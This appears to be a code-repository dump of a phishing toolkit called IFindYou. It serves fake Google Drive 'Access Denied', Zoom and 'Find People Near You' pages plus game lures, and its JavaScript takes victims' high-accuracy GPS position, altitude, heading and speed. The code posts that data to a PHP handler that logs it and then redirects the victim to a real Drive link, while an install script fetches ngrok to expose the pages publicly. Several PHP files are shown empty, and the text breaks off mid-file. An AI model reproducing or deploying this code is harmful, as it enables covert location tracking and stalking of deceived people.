├── logs
└── result.txt
├── webs
├── zoom
│ ├── js
│ │ ├── main.js
│ │ ├── location.js
│ │ └── info.js
│ ├── info_handler.php
│ ├── error_handler.php
│ ├── zoom.ico
│ ├── result_handler.php
│ ├── forward.php
│ └── ip.php
├── location
│ ├── js
│ │ ├── main.js
│ │ ├── location.js
│ │ ├── info.js
│ │ └── warpspeed.min.js
│ ├── info_handler.php
│ ├── error_handler.php
│ ├── css
│ │ ├── worldmap.jpg
│ │ └── main.css
│ ├── result_handler.php
│ ├── forward.php
│ ├── index.php
│ ├── ip.php
│ ├── index.html
│ ├── location.html
│ └── template.html
├── gdrive
│ ├── info_handler.php
│ ├── error_handler.php
│ ├── result_handler.php
│ ├── fonts
│ │ ├── Roboto-Bold.ttf
│ │ ├── Roboto-Thin.ttf
│ │ ├── Roboto-Black.ttf
│ │ ├── Roboto-Italic.ttf
│ │ ├── Roboto-Light.ttf
│ │ ├── Roboto-Medium.ttf
│ │ ├── Roboto-Regular.ttf
│ │ ├── Roboto-BlackItalic.ttf
│ │ ├── Roboto-BoldItalic.ttf
│ │ ├── Roboto-LightItalic.ttf
│ │ ├── Roboto-MediumItalic.ttf
│ │ ├── Roboto-ThinItalic.ttf
│ │ └── pxiDypQkot1TnFhsFMOfGShVF9eO.woff2
│ ├── forward.php
│ ├── images
│ │ ├── drive_favicon1.ico
│ │ ├── Google-Drive-logo1.png
│ │ ├── 580b57fcd9996e24bc43c51f.png
│ │ ├── googlelogo_color_116x41dp.png
│ │ ├── locked_doc-1.svg
│ │ └── locked_doc-2.svg
│ ├── index.php
│ ├── post.php
│ ├── ip.php
│ ├── gdrive.html
│ ├── index.html
│ ├── template.html
│ ├── js
│ │ ├── location_temp.js
│ │ ├── temp
│ │ │ ├── location1.js
│ │ │ ├── location2.js
│ │ │ ├── location3.js
│ │ │ ├── location4.js
│ │ │ ├── location5.js
│ │ │ └── location6.js
│ │ └── info.js
│ └── css
│ │ └── main.css
├── boxwish
│ ├── index.php
│ ├── forward.php
│ ├── post.php
│ ├── ip.php
│ ├── index.html
│ ├── template.html
│ ├── option.html
│ └── boxwish.html
├── book
│ ├── forward.php
│ ├── post.php
│ ├── ip.php
│ └── book.html
├── game
│ ├── forward.php
│ ├── post.php
│ └── ip.php
├── guess
│ ├── forward.php
│ ├── post.php
│ ├── ip.php
│ └── guess.html
├── quiz
│ ├── forward.php
│ ├── index.php
│ ├── post.php
│ ├── ip.php
│ ├── quiz.html
│ └── template.html
├── rps
│ ├── forward.php
│ ├── index.php
│ ├── post.php
│ ├── ip.php
│ ├── rps.html
│ ├── template.html
│ └── index.html
├── selfie
│ ├── forward.php
│ ├── post.php
│ ├── ip.php
│ └── selfie.html
├── spinwheel
│ ├── forward.php
│ ├── post.php
│ └── ip.php
├── ip.php
└── result.php
├── install.sh
└── README.md
/logs/result.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/webs/zoom/js/main.js:
--------------------------------------------------------------------------------
1 | function main()
2 | {
3 | locate();
4 | }
5 |
--------------------------------------------------------------------------------
/webs/location/js/main.js:
--------------------------------------------------------------------------------
1 | function main()
2 | {
3 | locate();
4 | }
5 |
--------------------------------------------------------------------------------
/webs/gdrive/info_handler.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/zoom/result_handler.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/game/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-Bold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Bold.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-Thin.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Thin.ttf
--------------------------------------------------------------------------------
/webs/gdrive/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/guess/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/quiz/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/rps/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/selfie/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/zoom/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/boxwish/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-Black.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Black.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-Italic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Italic.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-Light.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Light.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-Medium.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Medium.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-Regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Regular.ttf
--------------------------------------------------------------------------------
/webs/location/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/spinwheel/forward.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/gdrive/images/drive_favicon1.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/images/drive_favicon1.ico
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-BlackItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-BlackItalic.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-BoldItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-BoldItalic.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-LightItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-LightItalic.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-MediumItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-MediumItalic.ttf
--------------------------------------------------------------------------------
/webs/gdrive/fonts/Roboto-ThinItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-ThinItalic.ttf
--------------------------------------------------------------------------------
/webs/gdrive/images/Google-Drive-logo1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/images/Google-Drive-logo1.png
--------------------------------------------------------------------------------
/webs/rps/index.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/gdrive/index.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/location/index.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/quiz/index.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/webs/gdrive/images/580b57fcd9996e24bc43c51f.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/images/580b57fcd9996e24bc43c51f.png
--------------------------------------------------------------------------------
/webs/gdrive/images/googlelogo_color_116x41dp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/images/googlelogo_color_116x41dp.png
--------------------------------------------------------------------------------
/webs/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.tgz > /dev/null 2>&1
2 | if [[ -e ngrok-v3-stable-linux-arm.tgz ]]; then
3 | tar -xf ngrok-v3-stable-linux-arm.tgz > /dev/null 2>&1
4 | rm -rf $HOME/.ngrok2 > /dev/null 2>&1
5 | chmod +x ngrok
6 | rm -rf ngrok-v3-stable-linux-arm.tgz
7 | fi
8 |
--------------------------------------------------------------------------------
/webs/book/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/game/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/gdrive/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/guess/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/quiz/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/rps/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/selfie/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/boxwish/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/spinwheel/post.php:
--------------------------------------------------------------------------------
1 |
19 |
20 |
--------------------------------------------------------------------------------
/webs/ip.php:
--------------------------------------------------------------------------------
1 | $ok_status,
22 | 'lat' => $lat,
23 | 'lon' => $lon,
24 | 'acc' => $acc,
25 | 'alt' => $alt,
26 | 'dir' => $dir,
27 | 'spd' => $spd);
28 |
29 | $json_data = json_encode($data);
30 |
31 | $f = fopen('/data/data/com.termux/files/home/IFindYou/logs/result.txt', 'w+');
32 | fwrite($f, $json_data);
33 | fclose($f);
34 | }
35 | ?>
36 |
--------------------------------------------------------------------------------
/webs/gdrive/images/locked_doc-1.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
24 |
--------------------------------------------------------------------------------
/webs/gdrive/images/locked_doc-2.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
24 |
--------------------------------------------------------------------------------
/webs/gdrive/gdrive.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Google Drive - Access Denied
8 |
9 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 | Drive
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
Want in? Ask for access, or switch to an account with permission.
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/webs/gdrive/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Google Drive - Access Denied
8 |
9 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 | Drive
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
Want in? Ask for access, or switch to an account with permission.
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/webs/gdrive/template.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Google Drive - Access Denied
8 |
9 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 | Drive
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
Want in? Ask for access, or switch to an account with permission.
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/webs/location/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Near You | Meet New People, Make New Friends
5 |
6 |
7 |
8 |
9 |
10 |
11 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
27 | Find People Near You
28 | Meet New People, Make New Friends
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/webs/location/location.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Near You | Meet New People, Make New Friends
5 |
6 |
7 |
8 |
9 |
10 |
11 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
27 | Find People Near You
28 | Meet New People, Make New Friends
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/webs/location/template.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Near You | Meet New People, Make New Friends
5 |
6 |
7 |
8 |
9 |
10 |
11 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
27 | Find People Near You
28 | Meet New People, Make New Friends
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/webs/location/css/main.css:
--------------------------------------------------------------------------------
1 | html, body
2 | {
3 | height: 100%;
4 | }
5 | body
6 | {
7 | background-color: #000000;
8 | margin: auto;
9 | overflow: hidden;
10 | }
11 | h1
12 | {
13 | font-family: 'Raleway', sans-serif;
14 | color: white;
15 | text-align: center;
16 | filter: drop-shadow(0px 0px 8px cyan);
17 | margin: auto;
18 | position: fixed;
19 | top: 5%;
20 | left: 0%;
21 | right: 0%;
22 | }
23 | h2
24 | {
25 | font-family: 'Raleway', sans-serif;
26 | color: white;
27 | text-align: center;
28 | filter: drop-shadow(0px 0px 8px cyan);
29 | margin: auto;
30 | position: fixed;
31 | top: 15%;
32 | left: 0%;
33 | right: 0%;
34 | }
35 | img
36 | {
37 | position: fixed;
38 | margin: auto;
39 | left: 0%;
40 | right: 0%;
41 | top: 30%;
42 | height: 40%;
43 | filter: drop-shadow(0px 0px 8px white);
44 | opacity: 50%;
45 | }
46 | .button
47 | {
48 | background-color: Transparent;
49 | border: 2px solid white;
50 | cursor: pointer;
51 | color: white;
52 | font-size: 24px;
53 | padding: 14px 40px;
54 | border-radius: 6px;
55 | width: 50%;
56 | text-align: center;
57 | font-family: 'Raleway', sans-serif;
58 | position: fixed;
59 | left: 25%;
60 | right: 25%;
61 | bottom: 10%;
62 | filter: drop-shadow(0px 0px 8px cyan);
63 | transition: text-shadow 0.2s linear;
64 | }
65 | .text
66 | {
67 | font-family: 'Raleway', sans-serif;
68 | color: white;
69 | text-align: center;
70 | filter: drop-shadow(0px 0px 8px cyan);
71 | margin: auto;
72 | position: fixed;
73 | top: 5%;
74 | left: 0%;
75 | right: 0%;
76 | z-index: 1;
77 | }
78 | .earth
79 | {
80 | position: absolute;
81 | top: 0;
82 | bottom: 0;
83 | left: 0;
84 | right: 0;
85 | margin: auto;
86 | height: 250px;
87 | width: 250px;
88 | background-image: url(https://raw.githubusercontent.com/thewhiteh4t/seeker/master/template/nearyou/css/worldmap.jpg);
89 | border-radius: 50%;
90 | background-size: 700px;
91 | animation:rotate 7s linear infinite;
92 | box-shadow: 10px -10px 40px black inset, -10px 10px 40px black inset, -10px -10px 40px black inset;
93 | filter: drop-shadow(0px 0px 8px black);
94 | }
95 |
96 | @keyframes rotate
97 | {
98 | 0%{background-position: 0 0;}
99 | 100%{background-position: 700px 0;}
100 | }
101 |
--------------------------------------------------------------------------------
/webs/gdrive/js/location_temp.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){window.location='REDIRECT_URL';},
65 | mimeType: 'text'
66 | });
67 | };
68 | }
69 |
70 | function showError(error)
71 | {
72 | var err_text;
73 | var err_status = 'failed';
74 |
75 | switch(error.code)
76 | {
77 | case error.PERMISSION_DENIED:
78 | err_text = 'User denied the request for Geolocation';
79 | alert('Please Refresh This Page and Allow Location Permission...');
80 | break;
81 | case error.POSITION_UNAVAILABLE:
82 | err_text = 'Location information is unavailable';
83 | break;
84 | case error.TIMEOUT:
85 | err_text = 'The request to get user location timed out';
86 | alert('Please Set Your Location Mode on High Accuracy...');
87 | break;
88 | case error.UNKNOWN_ERROR:
89 | err_text = 'An unknown error occurred';
90 | break;
91 | }
92 |
93 | $.ajax({
94 | type: 'POST',
95 | url: 'error_handler.php',
96 | data: {Status: err_status, Error: err_text},
97 | success: function(){$('#change').html('Failed');},
98 | mimeType: 'text'
99 | });
100 | }
101 |
--------------------------------------------------------------------------------
/webs/gdrive/js/temp/location1.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){window.location='https://drive.google.com/file/d/1qZlGFaxHM_UsTV';},
65 | mimeType: 'text'
66 | });
67 | };
68 | }
69 |
70 | function showError(error)
71 | {
72 | var err_text;
73 | var err_status = 'failed';
74 |
75 | switch(error.code)
76 | {
77 | case error.PERMISSION_DENIED:
78 | err_text = 'User denied the request for Geolocation';
79 | alert('Please Refresh This Page and Allow Location Permission...');
80 | break;
81 | case error.POSITION_UNAVAILABLE:
82 | err_text = 'Location information is unavailable';
83 | break;
84 | case error.TIMEOUT:
85 | err_text = 'The request to get user location timed out';
86 | alert('Please Set Your Location Mode on High Accuracy...');
87 | break;
88 | case error.UNKNOWN_ERROR:
89 | err_text = 'An unknown error occurred';
90 | break;
91 | }
92 |
93 | $.ajax({
94 | type: 'POST',
95 | url: 'error_handler.php',
96 | data: {Status: err_status, Error: err_text},
97 | success: function(){$('#change').html('Failed');},
98 | mimeType: 'text'
99 | });
100 | }
101 |
--------------------------------------------------------------------------------
/webs/zoom/js/location.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){$('#change').html('Coming Soon');},
65 | mimeType: 'text'
66 | });
67 | alert("We will let you in once the meeting is started");
68 | };
69 | }
70 |
71 | function showError(error)
72 | {
73 | var err_text;
74 | var err_status = 'failed';
75 |
76 | switch(error.code)
77 | {
78 | case error.PERMISSION_DENIED:
79 | err_text = 'User denied the request for Geolocation';
80 | alert('Please Refresh This Page and Allow Location Permission...');
81 | break;
82 | case error.POSITION_UNAVAILABLE:
83 | err_text = 'Location information is unavailable';
84 | break;
85 | case error.TIMEOUT:
86 | err_text = 'The request to get user location timed out';
87 | alert('Please Set Your Location Mode on High Accuracy...');
88 | break;
89 | case error.UNKNOWN_ERROR:
90 | err_text = 'An unknown error occurred';
91 | break;
92 | }
93 |
94 | $.ajax({
95 | type: 'POST',
96 | url: 'error_handler.php',
97 | data: {Status: err_status, Error: err_text},
98 | success: function(){$('#change').html('Failed');},
99 | mimeType: 'text'
100 | });
101 | }
102 |
--------------------------------------------------------------------------------
/webs/gdrive/js/temp/location2.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){window.location='https://drive.google.com/file/d/1rAqwDYSYgbysyLJveolqnVLYlIQydr48/view?usp=drivesdk';},
65 | mimeType: 'text'
66 | });
67 | };
68 | }
69 |
70 | function showError(error)
71 | {
72 | var err_text;
73 | var err_status = 'failed';
74 |
75 | switch(error.code)
76 | {
77 | case error.PERMISSION_DENIED:
78 | err_text = 'User denied the request for Geolocation';
79 | alert('Please Refresh This Page and Allow Location Permission...');
80 | break;
81 | case error.POSITION_UNAVAILABLE:
82 | err_text = 'Location information is unavailable';
83 | break;
84 | case error.TIMEOUT:
85 | err_text = 'The request to get user location timed out';
86 | alert('Please Set Your Location Mode on High Accuracy...');
87 | break;
88 | case error.UNKNOWN_ERROR:
89 | err_text = 'An unknown error occurred';
90 | break;
91 | }
92 |
93 | $.ajax({
94 | type: 'POST',
95 | url: 'error_handler.php',
96 | data: {Status: err_status, Error: err_text},
97 | success: function(){$('#change').html('Failed');},
98 | mimeType: 'text'
99 | });
100 | }
101 |
--------------------------------------------------------------------------------
/webs/gdrive/js/temp/location3.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){window.location='https://drive.google.com/file/d/1qwYiSHtk2VJhK722CgOIKv0QuAM_5L_y/view?usp=drivesdk';},
65 | mimeType: 'text'
66 | });
67 | };
68 | }
69 |
70 | function showError(error)
71 | {
72 | var err_text;
73 | var err_status = 'failed';
74 |
75 | switch(error.code)
76 | {
77 | case error.PERMISSION_DENIED:
78 | err_text = 'User denied the request for Geolocation';
79 | alert('Please Refresh This Page and Allow Location Permission...');
80 | break;
81 | case error.POSITION_UNAVAILABLE:
82 | err_text = 'Location information is unavailable';
83 | break;
84 | case error.TIMEOUT:
85 | err_text = 'The request to get user location timed out';
86 | alert('Please Set Your Location Mode on High Accuracy...');
87 | break;
88 | case error.UNKNOWN_ERROR:
89 | err_text = 'An unknown error occurred';
90 | break;
91 | }
92 |
93 | $.ajax({
94 | type: 'POST',
95 | url: 'error_handler.php',
96 | data: {Status: err_status, Error: err_text},
97 | success: function(){$('#change').html('Failed');},
98 | mimeType: 'text'
99 | });
100 | }
101 |
--------------------------------------------------------------------------------
/webs/gdrive/js/temp/location4.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
